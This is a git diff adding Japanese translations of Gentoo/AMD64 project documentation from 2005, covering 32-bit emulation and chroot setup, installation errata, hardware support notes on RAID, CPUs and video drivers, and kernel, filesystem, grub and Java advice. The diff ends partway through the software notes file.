+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml" lang="ja">
+<title>Gentoo/AMD64のHowto</title>
+
+<author title="Maintainer"><mail link="jhuebel@gentoo.org">Jason Huebel</mail></author>
+<author title="翻訳"><mail link="masatsugu@fujinaka.info">藤中 正次</mail></author>
+
+<abstract>
+ここで、Gentoo/AMD64のHowtoを見つけることが出来ます。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2005.1</version>
+<date>2006-02-01</date>
+<!-- Original revision: 1.8 -->
+
+<part>
+	<title>Gentoo/AMD64 Howto</title>
+<abstract>
+Gentoo/AMD64ユーザにHowtoを提供します。
+</abstract>
+
+<chapter>
+	<title>バグのレポート手順</title>
+<abstract>
+	Gentoo/AMD64プラットフォームに関係するバグのレポート手順についての情報を提供します。
+</abstract>
+	<include href="bugs.xml"/>
+</chapter>
+
+<chapter>
+	<title>Gentoo/AMD64 32Bit Chrootガイド</title>
+<abstract>
+	このガイドは、あなたがGentoo/AMD64システムの32Bit chrootの設定するお手伝いをします。
+</abstract>
+	<include href="chroot.xml"/>
+</chapter>
+</part>
+</book>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/index.xml b/xml/htdocs/proj/ja/base/amd64/technotes/index.xml
new file mode 100644
index 00000000..8ae52313
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/index.xml
@@ -0,0 +1,82 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/index.xml,v 1.7 2005/08/11 17:08:22 idani Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml">
+<title>Gentoo/AMD64 技術ノート情報</title>
+
+<author title="Editor"><mail link="jhuebel@gentoo.org">Jason Huebel</mail></author>
+<author title="Editor"><mail link="avenj@gentoo.org">Jon Portnoy</mail></author>
+<author title="Editor"><mail link="gerrynjr@gentoo.org">Gerald J. Normandin Jr.</mail></author>
+<author title="翻訳"><mail link="masatsugu@fujinaka.info">藤中 正次</mail></author>
+
+<abstract>
+Gentoo/AMD64プロジェクトはGentooを最新、高速かつ堅固なAMD64(そしてIA-32e)Linuxディストリビューションにするために活動しています。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2004.3</version>
+<date>February 19, 2005</date>
+<!-- Original revision: 1.8 -->
+
+<part>
+	<title>Gentoo/AMD64 技術ノート</title>
+<abstract>
+Gentoo/AMD64ユーザに重要なリソースを提供します。
+</abstract>
+
+
+<chapter>
+	<title>イントロダクション</title>
+<abstract>
+	Gentoo/AMD64インストール技術ノートの紹介
+</abstract>
+	<include href="install-intro.xml"/>
+</chapter>
+
+<chapter>
+	<title>ハードウェア</title>
+<abstract>
+	Gentoo/AMD64プラットフォームのハードウェア関連事項についての情報
+</abstract>
+	<include href="install-hardware.xml"/>
+</chapter>
+
+<chapter>
+	<title>ソフトウェア</title>
+<abstract>
+	Gentoo/AMD64プラットフォームのソフトウェア関連事項についての情報
+</abstract>
+	<include href="install-software.xml"/>
+</chapter>
+
+<chapter>
+	<title>32-bit互換性</title>
+<abstract>
+	Gentoo/AMD64での32-bitアプリケーション使用についての情報
+</abstract>
+	<include href="install-32bit.xml"/>
+</chapter>
+
+<chapter>
+	<title>正誤表</title>
+<abstract>
+	メインの技術情報に含まれていない最新の情報はここをみてください。
+</abstract>
+	<include href="install-errata.xml"/>
+</chapter>
+
+<chapter>
+	<title>追加リソース</title>
+<abstract>
+	あなたのGentoo/AMD64システムを立ち上げて稼動させるために必要な他の便利な情報
+</abstract>
+	<include href="resources.xml"/>
+</chapter>
+</part>
+
+
+</book>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/install-32bit.xml b/xml/htdocs/proj/ja/base/amd64/technotes/install-32bit.xml
new file mode 100644
index 00000000..c3c5837a
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/install-32bit.xml
@@ -0,0 +1,90 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/install-32bit.xml,v 1.1 2005/05/22 17:26:07 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>February 19, 2005</date>
+<!-- Original revision: 1.2-->
+
+<section><title>32-bitプログラムを走らせる</title>
+<body>
+<impo>必ずカーネル内の"Executable File Formats"の下の"IA32 Emulation"を有効にしている必要があります。</impo>
+<p>
+現在、多くの変更が進行中であり、32-bit環境を設定する一番簡単な方法はエミュレーションライブラリをインストールすることです。
+</p>
+<pre>
+emerge app-emulation/emul-linux-x86-baselibs
+emerge app-emulation/emul-linux-x86-xlibs
+emerge app-emulation/emul-linux-x86-gtklibs
+emerge app-emulation/emul-linux-x86-qtlibs
+</pre>
+<p> 
+エミュレーションライブラリは/emul/linux/x86ディレクトリを作成しプリコンパイルされた32-bitアプリケーションを走らせるために適切なほとんどのライブラリをインストールします。 また適切な/emulディレクトリを指し示す/lib32や/usr/lib32などのsymlinkを作成します。64-bit版はld-linux-x64-64.so.2として知られてる/emul/linux/x86/lib/ld-linux.so.2から/libのld-linux.so.2のsymlinkを作成します。
+</p>
+<p>
+これらの3パッケージをインストールすることで、ほとんどのプリコンパイルされた32-bitアプリケーション(例 Java, Oracle 9i, Opera)を走らせることができます。
+</p>
+</body>
+</section>
+
+<section>
+<title>multilibを使用して64-bit環境で32-bitアプリケーションをコンパイルする</title>
+<body>
+<p>
+最初に、前のセクションからの標準32-bit環境が準備されていなければなりません。 <path>/etc/make.conf</path>内の<c>multilib</c>フラグを追加して<path>gcc-3.3.3-r5</path>をemergeもしくは再emergeしてください。 これでCFLAG設定で<c>-m32</c>を使って32-bitバイナリを作成することが出来るGCCをmultilibサポートで構築します。multilibをインストールしても64-bitコンパイルには影響しません(しかしながら、何らかの理由で確実にしたいなら<c>-m64</c>を渡すことも出来ます)。
+</p>
+<note><path>/etc/make.conf</path>に<c>-m32</c>を加えたり、portageと<c>-m32</c>を一緒に使用することは、如何なる理由であれ止めて下さい。 32-bitコンパイルは、portageシステムを通してではなく、手動で32-bitコンパイルを行なうべきです。 これに関してよく注意を払わないと、依存関係を著しく損なう恐れがあります。 どうやって直すかなんて、聞かないこと。 あなたの責任です。
+</note>
+</body>
+</section>
+
+<section><title>32-bit chroot環境を作成する</title>
+<body>
+<p>
+32-bitエミュレーションライブラリをインストールすることで、64-bit環境でほとんどの32-bitアプリケーションを走らせることが出来ます。 しかしながら、新しい32-bitアプリケーションやライブラリをインストールすることは簡単なことではありません。  これはMozillaのFlashプラグインやWineを使用することを難しくさせます。 32-bit chrootのインストールは、あなたの好みのパッケージマネージャから32-bitアプリケーションとライブラリをインストールすることを許可します。 この意味は、あなたが意図したようにパッケージを最適化できるということです。 emul libは最小の最適化でコンパイルされています、なぜならIA64プラットフォームでも使用されているからです。 主な欠点はハードディスクのスペースでしょう。 すべてのライブラリとアプリケーションは2回インストールされるからです。
+</p>
+<p>
+32-bit chrootを設定するには、まずあなたがchrootしたいディレクトリ(もしくはパーティション)を作成します。 そしてx86 stageをそのディレクトリに解凍し(AMD64stageは使用しないように)、procをmountします。 次のステップはchrootに入ることです。 これはマニュアルにあるように出来ます。 しかしながら、linux32プログラムを使用して'uname -m'を'i686'に変える必要があります。 変わりにこれを走らせて下さい
+</p>
+<pre>
+linux32 chroot /mnt/gentoo32 /bin/bash
+</pre>
+<p>
+これでchrootの中にいます。 'uname -m'は'i686'を表示するべきです。 make.confでは、このようなフラグを使用します。
+</p>
+<pre>
+CHOST="i686-pc-linux-gnu"
+CFLAGS="-O2 -march=athlon-xp -msse2 -msse -pipe"
+ACCEPT_KEYWORDS="~x86"
+</pre>
+<p>
+gcc-3.4がリリースされれば、-march=k8を使用してamd64に最適化出来ます、しかしこれが32-bitコンパイルでも有効だとchangelogには記載されておりません。
+</p>
+<p>
+マニュアルにしたがってインストールを続けます。 ほとんどのstage3以降の部分はとばすことが出来ます。 二つめのカーネルloggerやcrontabを設定する必要はありません。 しかし、user、host、resolv.confを設定する必要はあります。 32-bit chrootはほぼ使用できる状態になっています。 しかしながら、Xアプリケーションを使用することは今は出来ません。
+</p>
+<p>
+Xクライアントはunixソケットを使用してXサーバと通信します。 これらのソケットは/tmp内のファイルです、しかしXサーバはchroot外で走ります。 この意味はchroot内のXクライアントはunixソケットにアクセス出来ないこととなります。 これを解決するために2つの方法があります。 TCPソケットを使用する方法、しかしこれはあまり速くありません。 最適な解決法は、chroot内に同じ/tmpをmountすることです。これは、(chrootの外から)以下のようにします。
+</p>
+<pre>
+mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+<p>
+もちろん、chroonのなかからXサーバに接続する前にchrootの外から<c>xhost local:localhost</c>を走らせておく必要があります。 ディスクの容量をセーブするために他のディレクトリをmountすることも可能です。 候補としては<path>/home</path>, <path>/usr/portage/distfiles</path>と<path>/usr/share</path>です。
+
+</p>
+<p>
+chroonに入るには、次のコマンド使ってchroot内の正しい環境変数を設定してください。
+</p>
+<pre>
+linux32 chroot /mnt/32-bit /bin/bash --login
+</pre>
+</body>
+</section>
+ 
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/install-errata.xml b/xml/htdocs/proj/ja/base/amd64/technotes/install-errata.xml
new file mode 100644
index 00000000..f75ebc5a
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/install-errata.xml
@@ -0,0 +1,36 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/install-errata.xml,v 1.1 2005/05/22 16:21:38 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>February 19, 2005</date>
+<!-- Original revision: 1.3 -->
+
+<section>
+	<title>Gentooインストールの重要な正誤表</title>
+<body>
+<ul>
+	<li><c>ati-drivers</c>をインストールすることで64-bit ATIビデオ ドライバが入手可能です。</li>
+	<li>reiser4はamd64では動作しません。</li>
+	<li>kernel 2.4.xは公式にGentoo/AMD64では非推奨になりました。</li>
+	<li>gcc 3.3は公式に2004.3ではamd64のみ非推奨になりました。</li>
+	<li><path>sys-kernel/gentoo-sources</path>はGentoo/AMD64での唯一サポートされているカーネルソースです。</li>
+	<li>Firewireサポートは新しいカーネル(>=2.6.4)で'kernel preemption'を有効にすると動作しません。</li>
+	<li>いくつかの制約がありますが、デュアル32-bit/64-bit環境は可能です。</li>
+	<li><b>決して</b><c>x86</c>もしくは<c>~x86</c>を<c>ACCEPT_KEYWORDS</c>に追加しないで下さい。</li>
+	<li><b>決して</b><c>-Os</c>AMD64プラットフォームのCFLAGSで使用しないで下さい。</li>
+	<li>カーネルパニックがブート時に発生する場合は<c>idle=poll</c>をブート時にカーネルに渡して下さい。</li>
+	<li>MPT Fusion SCSIカードを使用する場合、ブート時にカーネルに<c>iommu=merge</c>を渡す必要があります。</li>
+	<li>32-bitエミュレーション(そして32-bit chroot)を動作させるには<path>Executable File Formats</path>の<c>IA32 Emulation</c>を有効にする必要があります。</li>
+	<li>OpenOfficeはバイナリでインストール必要があります(<path>openoffice-bin</path>)。 64-bit版は現在ありません。</li>
+	<li>Livecdが3Com 3c940ネットワーク チップを自動認識しない場合は、手動で<c>modprobe sk98lin</c>実行し認識させる必要が在ります。</li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/install-hardware.xml b/xml/htdocs/proj/ja/base/amd64/technotes/install-hardware.xml
new file mode 100644
index 00000000..a4d4d74b
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/install-hardware.xml
@@ -0,0 +1,186 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/install-hardware.xml,v 1.1 2005/08/11 17:07:13 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>February 27, 2005</date>
+<!-- Original revision: 1.4 -->
+
+<section>
+	<title>BIOSアップデート</title>
+<body>
+<p>
+多くのAMD64マザーボードベンダーは不安定なBIOSファームウェアを含んでいることで有名です。
+Gentoo/AMD64をインストールしようとする前に、必ず最新のBIOSファームウェアにアップデートしてください。
+BIOSをアップデートすることで、メモリタイミングの問題が解決されたり、
+AMD64機能のサポート（Cool'n'Quietのような）が追加されるかもしれません。
+</p>
+</body>
+</section>
+
+<section>
+	<title>SATA/PATA Raidコントローラ</title>
+<subsection>
+	<title>コントローラ、サポート状況と種類</title>
+<body>
+<p>
+一般的なSATA/PATA Raidコントローラの現在のサポート状況です。
+</p>
+<table>
+<tr>
+	<th>製造者</th>
+	<th>モデル</th>
+	<th>Raidの種類</th>
+	<th>状況</th>
+</tr>
+<tr>
+	<ti>VIA</ti>
+	<ti>8237</ti>
+	<ti>ソフトウェア</ti>
+	<ti>動作中</ti>
+</tr>
+<tr>
+	<ti>Promise</ti>
+	<ti>PDC202xx/PDC203xx</ti>
+	<ti>ソフトウェア</ti>
+	<ti>動作中</ti>
+</tr>
+<tr>
+	<ti>Silicon Image</ti>
+	<ti>3112[a],3512,3114</ti>
+	<ti>ソフトウェア</ti>
+	<ti>動作中</ti>
+</tr>
+<tr>
+	<ti>Promise</ti>
+	<ti>SX4000 (PDC20621)</ti>
+	<ti>ハードウェア</ti>
+	<ti>動作中</ti>
+</tr>
+<tr>
+	<ti>3Ware</ti>
+	<ti>Escalade 7xxx and 8xxx</ti>
+	<ti>ハードウェア</ti>
+	<ti>動作中</ti>
+</tr>
+</table>
+</body>
+</subsection>
+
+<subsection>
+	<title>ハードウェアRaidとソフトウェアRaidの違い</title>
+<body>
+<p>
+ハードウェアRaidコントローラは常に追加のカードであり、マザーボード上に搭載された形では流通することはけっしてありません。
+OSが立ち上がる前に入ることができる(訳注:設定が可能な)BIOSを有しており、たいてい0,1,1+0そして5をすくなくともサポートしています。
+すべてのRaid計算やI/Oを処理する完全なCPUが載っており、OSにはRaidコントローラが設定した状態を表示します(例:3つのハードディスクでRaid5を設定した場合、OSには１つの大きなハードディスクとしてみえます)。 ハードウェアRaidは常にソフトウェアRaidよりも高速であり、CPU時間の消費も非常に小さくなっています。 ハードウェアRaidは、キャシュのためにオプションとしてDIMMスロットがあり、そのキャシュのバックアップのためにバッテリがあるかもしれません。 
+ハードウェアRaidはRaid機能をハードウェアのみで行なうため、OSドライバでおこりやすい複雑性を制限します。
+</p>
+<p>
+ソフトウェアRaidコントローラは追加カードと流通している多くのマザーボードに搭載されているものを見つけることが出来ます。 ソフトウェアRaidコントローラは、BIOSが存在しないものも在るかも知れません、しかし実際のRaid機能はOSのドライバによって実装されています。 この理由により、Raid5で起動することが出来るソフトウェアRaidコントローラを見つけることは絶対にありません。 ドライブはコントローラによって隠されたり、変更されることが全くないため、OSには各ドライブが標準のハードディスクとして見えます。 
+Kernel 2.4には、多くのSATAコントローラBIOS(訳注:PATAコントローラでは?)を読み取り、そのBIOSが特定したlinuxソフトウェアRaidを設定しハードウェアRaidと同じようにアクセス可能な擬似的なデバイスを作成するモジュールがありました。 しかし、この'ataraid'は2.6には移植されず、2.4のバージョンはSATAコントローラをサポートせず、古いPATAソフトウェアコントローラのみをサポートします。 言ってしまえば、ソフトウェアRAIDコントローラは、設定情報を保持するBIOS付きの標準SATA/PATAコントローラにすぎず、非常に安価でありこれが多くのベンダーがマザーボードに搭載する理由です。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+	<title>3wareカードとTyanマザーボードのライザカード互換性</title>
+<body>
+<p>
+3wareとTyanマザーボードのライザカード互換性に関する情報に関しては、この<uri link="http://www.3ware.com/KB/article.apsx?id=10964">3ware KB article</uri>を参照してください。
+</p>
+</body>
+</section>
+
+<section>
+	<title>Opteron/Athlon64の一般的な質問</title>
+<subsection>
+	<title>Athlon64, Athlon64FX, Opteronの違いは何ですか?</title>
+<body>
+ <p>
+Athlon64はシングルチャネルメモリバスの754pinのデスクトッププロセッサで、シングルプロセッサとしてのみ動作します。 Athlon64FXはデュアルチャネルメモリバスの940pinのワークステーションプロセッサで、シングルプロセッサとしてのみ動作します。 Opteronは3種類存在し、1xxシリーズはシングルプロセッサシステム、2xxシリーズはデュアルプロセッサ、8xxシリーズは8-wayシステム(もしくは中継コントローラとともに8-way以上)として動作します。 これらの種類にはスピードの違いはなく、チップ内のアクティブなハイパートランスポートバスの数に反映されます。 すべてのチップは同じパフォーマンス特徴を有します(加えてメモリバス性能とキャシュサイズはパフォーマンスに影響があるかもしれまん)。 本当のところAthlon64FXはOpteron 1xxシリーズの再ブランド品です。 将来、754pinソケットはAthlon64,Athlon64FXを包括する939pinのためにフェーズアウトします。
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>なぜAthlon64 3200+と3000+は同じCPUスピードなのですか?</title>
+<body>
+ <p>
+Athlon64 3000+のキャシュサイズはAthlon64 3200+の半分(512K)です。 これがモデルナンバの違いの説明になります(このパフォーマンスの違いは現実的には5%以下しかありません)。
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>32bitアプリケーションはサポートされていますか? エミュレーションですか? Nativeですか?</title>
+<body>
+<p>
+はい、32bitアプリケーションはCPUによって完全にサポートされNativeで実行されます。 標準のx86 OSはAMD64プロセッサにインストールすることができ、もし32bitのシステムコールをカーネルの64bitインタフェースにマッピングすることが可能であれば64bit OSから32bitアプリケーションを実行することが可能です(Linuxはカーネルで有効化することで対応可能です)。 32bitアプリケーションに関するさらなる情報は下記のセクションを見て下さい。 加えて32bitアプリケーションをAMD64クラスのプロセッサで実行することに関して制約はなく、Athlonxpプロセッサで32bitコードを実行するより、常に高速です(これはia64 Itaniumプロセッサとはことなります)。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+	<title>MPT Fusion SCSIコントローラ</title>
+<body>
+<p>
+このscsiコントローラを動作させるには、ブート時に次のオプションをカーネルに渡して下さい。
+</p>
+ <pre caption="ブートオプション">
+iommu=merge
+</pre>
+</body>
+</section>
+
+<section>
+	<title>3D Video Accelerationサポート</title>
+<subsection>
+	<title>ATI Radeonカード</title>
+<body>
+<p>
+ついにATIは9200より新しいRadeonカード用に64-bitドライバをリリースしました。 インストールするために<c>ACCEPT_KEYWORDS="~amd64" emerge ati-drivers</c>コマンドを使用してください。 ATI特有のドライバが正常に動作しない場合、開発チームはxorgに含まれるオープンソースの"radeon"ドライバを試してみることを提案します。しかし"radeon"ドライバは2Dのアクセレレーションしかサポートしていません。
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>nVidia GeForce</title>
+<body>
+<p>
+nVidiaはAMD64ドライバをすでにリリースしています。 次のファイルをemergeすることで、最低限の作業でAMD64にインストールすることかできます。
+</p>
+<pre caption="nVidiaドライバをemergeする">
+emerge nvidia-kernel
+emerge nvidia-glx
+emerge nvidia-settings
+</pre>
+<p>
+カーネルの設定や必要なpackageをemergeしたあとに実行することなど、すべてに関する突っこんだ議論は<uri link="http://www.gentoo.org/doc/en/nvidia-guide.xml">Gentoo Linux nVidia Guide</uri>にて見つけることが出来ます。
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>Matrox ビデオカード</title>
+<body>
+<p>
+最新の多くのMatroxビデオカードでは、デュアルヘッドやビデオキャプチャを有効にするために特有の'mga_hal'モジュールが必要になります。一般的にAMD64で'mga'モジュールを使用して、それなりの成功を収めています。 Matroxはまだ64bitコンパイルされたドライバをリリースしておらず、両方のモジュール試してみて、どちらのモジュールがあなたのディスプレイ設定に最適に動作するか見てみることを強くお推めします。
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+	<title>bcm/tigon3ネットワーク ドライバ</title>
+<body>
+<p>
+多くのOpteronマザーボードは、Broadcomのオンボードネットワークチップが組みこまれています。 私たちは標準のカーネルでのtg3ドライバとbcm5700ドライバの両方を提供しています。 tg3ドライバはコミュニティによってサポートされており可能であればこのドライバを使用します。 bcm5700はtg3ドライバが動作しないときのためだけに用意されています。
+</p>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/install-intro.xml b/xml/htdocs/proj/ja/base/amd64/technotes/install-intro.xml
new file mode 100644
index 00000000..b71fde11
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/install-intro.xml
@@ -0,0 +1,27 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/install-intro.xml,v 1.1 2005/05/20 21:54:47 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>February 19, 2005</date>
+<!-- Original revision: 1.2 -->
+
+<section>
+	<title>イントロダクション</title>
+<subsection>
+	<title>Gentoo/AMD64インストール技術ノートに関して</title>
+<body>
+<p>
+Gentoo/AMD64インストール技術ノートはインストール中もしくは通常のAMD64版Gentoo利用時のためにあります。
+Gentoo/AMD64をインストールしようとする前に、これら全ての技術ノートを読むべきです。
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/base/amd64/technotes/install-software.xml b/xml/htdocs/proj/ja/base/amd64/technotes/install-software.xml
new file mode 100644
index 00000000..5fa25da0
--- /dev/null
+++ b/xml/htdocs/proj/ja/base/amd64/technotes/install-software.xml
@@ -0,0 +1,249 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/base/amd64/technotes/install-software.xml,v 1.1 2005/08/10 17:06:25 idani Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>February 19, 2005</date>
+<!-- Original revision: 1.2 -->
+
+<section>
+	<title>入手可能なカーネル</title>
+<subsection>
+	<title>LiveCDとして</title>
+<body>
+<p>
+2004.3の時点でLiveCDからブート出来るのは、ひとつのカーネルしかありません。 そのカーネルは<c>gentoo</c>であり、SMPカーネルです。 SMPでないマシンも、このカーネルを使用することが出来ます。
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>正しいカーネルソースを使用する</title>
+<body>
+<impo><path>sys-kernel/gentoo-dev-sources</path>のカーネルを使用して下さい。 AMD64の為のパッチがあり、追加の機能強化があります。 異なるソースを使用すると、私たちはサポートすることが出来ません。</impo>
+
+</body>
+</subsection>
+<subsection>
+	<title>eMachineのノートブックにカーネルを構築する</title>
+<body>
+<p>
+2004.3の前までは、eMachinesのモバイルAthlon64ノートブックにカーネルを設定するとき、USBサポートをカーネルにコンパイルしなければなりませんでした。 そうしないと、<path>atkbd.c</path>から'unknown keypass'エラーを受け取ることになります。 USBサポートを無効にしても解決しません。
+</p>
+<p>
+2004.3がeMachinesノートブック上での動作状況のリポートはbugs.gentoo.orgに提出されるべきです。
+</p>
+</body>
+</subsection>
+ <subsection>
+	<title>2.4.xカーネルは公式に非推奨となりました</title>
+<body>
+<p>
+<b>2.4.xカーネルラインは公式にAMD64向けには非推奨となりました。</b> 2.4.23-pre7にてdevfsは無効化されました(カーネル内にハードコードされています)、メモリ破壊が原因として記述されています。 Gentooの私たちはその様な経験はありませんが、しかしdevfsのない2.4はGentooでは好ましいソリューションではありません。
+</p>
+</body>
+</subsection>
+<subsection>
+	<title>gcc 3.3は公式に非推奨となりました</title>
+<body>
+<p>
+<b>2004.3リリース時点で、gcc 3.3は公式にAMD64向けには非推奨になりました。</b> すべての2004.3リリースメディアは gcc 3.4.xベースになっています。
+</p>
+</body>
+</subsection>
+</section>
+<section><title>ブート時のカーネルパニック</title>
+<body>
+<p>
+もしブート時にカーネルパニックが発生するなら、<c>idle=poll</c>をブートオプションとして渡してみて下さい。 この問題は多くのBIOSにあり、主にVIAチップセットのマザーボードに影響があるようです。 このブートオプションを渡すのはあなたのマザーボードベンダの最新のBIOSにアップデートしたあとです。 また、BIOSにてレガシUSBを無効化することによって解決する場合もあります。 もし<c>idle=poll</c>オプションを使わざるおえないのであれば、あなたのマザーボード/BIOSベンダにCPU Errata#93に対応するように連絡してください。
+</p>
+<p>
+このトピックに関してもうすこし知りたい場合は、以下のメーリングリストのアーカイブを参照して下さい。
+</p>
+<ul>
+	<li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0031.html</uri></li>
+	<li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0034.html</uri></li>
+</ul>
+<p>
+そして、これがGentoo特有の問題では無いことがわかります!
+</p>
+</body>
+</section>
+
+<section><title>ファイルシステムサポート</title>
+<body>
+<p>
+現在はext2/3を使用し続けることを強く推奨します。 わたしたちはAMD64プラットフォーム上でreiserfsの問題のレポートを不定期に受け取っており、64-bitシステム上のJFSに関しては、主だった問題を聞いています(最初から64−bitシステム用に開発されたのにまったく不思議に思えます)。
+</p>
+<table>
+<tr>
+ 	<th>ファイルシステム:</th>
+	<th>状況:</th>
+</tr>
+<tr>
+	<ti>ext2</ti>
+	<ti>安定動作</ti>
+</tr>
+<tr>
+	<ti>ext3</ti>
+	<ti>安定動作</ti>
+</tr>
+<tr>
+	<ti>XFS</ti>
+	<ti>gentoo-dev-sources-2.6.3以降で安定動作</ti>
+</tr>
+<tr>
+	<ti>JFS</ti>
+	<ti>gentoo-dev-sources-2.6.7以降で安定動作</ti>
+</tr>
+<tr>
+	<ti>reiserfs</ti>
+	<ti>gentoo-dev-sources-2.6.5以降で安定動作</ti>
+</tr>
+<tr>
+	<ti>reiser4</ti>
+	<ti>AMD64上では動作しません! いかなるアーキテクチャでもサポートされていません。</ti>
+</tr>
+</table>
+<p>
+これらのファイルシステムでの問題はbugs.gentoo.orgにリポートして下さい。
+</p>
+</body>
+</section>
+ 
+<section><title>ブートローダ: grubのコンパイル</title>
+<body>
+<p>
+grubは純粋な64-bit環境では構築できません。 multilib gccを使用してのみコンパイル可能です。2004.3は標準でmultilibサポートが含まれています。もしgccからmulitlibサポートを取り除くなら、<c>grub-static</c>を使用しなければなりません。 <c>grub-static</c>は以下のコマンドを使用してインストール出来ます。
+</p>
+<pre caption="grubのインストール">
+emerge grub-static
+cp -Rpv /usr/share/grub/i386-pc/* /boot/grub
+</pre>
+</body>
+</section>
+ 
+<section><title>いくつかのパッケージはまだマスクされています</title>
+<body>
+<p>
+他のプラットフォームではマスクされていないいくつかのパッケージは、AMD64では未だにマスクされています。 これは、それらが動作しないという意味ではありません。 それはGentooの開発者がAMD64のマシンで評価していないだけです。 マスクされているアプリケーションを評価して<uri link="http://bugs.gentoo.org">バグリポートを提出し</uri>開発者にパッケージが動作するか知らせて下さい。
+
+</p>
+</body>
+</section>
+
+<section><title>動作しないパッケージ</title>
+<body>
+<p>
+現在動作しないパッケージ
+</p>
+<ul>
+	<li>Firebird (データベースです、ブラウザではありません)</li>
+</ul>
+<p>
+64-bitモードで動作しなくても、(app-emulation/emul-linux-x86-baselibsと関連パッケージがインストールされていると予想して)32-bitモードでは動作します。
+</p>
+<ul>
+	<li>Windowsからの32-bit dllを使用するプログラム(特定のフォーマットをサポートするmplayer/xineなど)</li>
+	<li>32-bitアセンブリを必要とするプログラム</li>
+</ul>
+</body>
+</section>
+
+<section><title>Javaサポート</title>
+<body>
+<p>
+BlackdownはNativeで動作する64-bit JavaをAMD64 Linuxにリリースしました。 リリース候補であるため、完璧だと思ってはいけません。 Portageには<path>blackdown-jdk-1.4.2</path>と<path>blackdown-jre-1.4.2</path>としてあります。
+
+</p>
+<p>
+何人かの人たちは64-bit Java VMが32-bit Java VMよりも遅いと注意しています。 BlackdownのJuergen Kreilederは親切にこう返信しています。
+</p>
+<pre caption="Juergen Kreilederの返信内容">
+実際、64-bit VMは32-bit VMよりも、ほぼすべてのベンチマークで高速です。 
+
+かれらが見た違いは、むしろ異なるVMが原因だと思われます。 i386版はHotSpotクライアントVMとHotSpot Serverがあり、クライアントVMがdefaultで使用されます。 AMD64版はServer VMのみが用意されています。 クライアントVMはまだ移植されていません。
+
+一般的にServer VMのほうが速いVMです。 コンパイラがクライアントVMのコンパイラよりもアグレッシブな最適化を行なうからです。 大抵はたいへん良いコードを生成します。 欠点はこれらの最適化はCPU時間とメモリを消費します。 これによってクライントVM内でGUIコードを走らせるほうがしばしばサーバVM内より(すくなくとも最初は)高速です。
+
+言い換えれば、i386クライアントとAMD64サーバで比較するのは公平ではないということです。 i386サーバ(例 "java -server...")とAMD64サーバで比較すべきです。
+</pre>
+<p>
+また、クライアントVM完成の可能性のあるタイムラインに関する質問にも答えています。
+
+</p>
+<pre caption="Juergen Kreilederの返信内容">
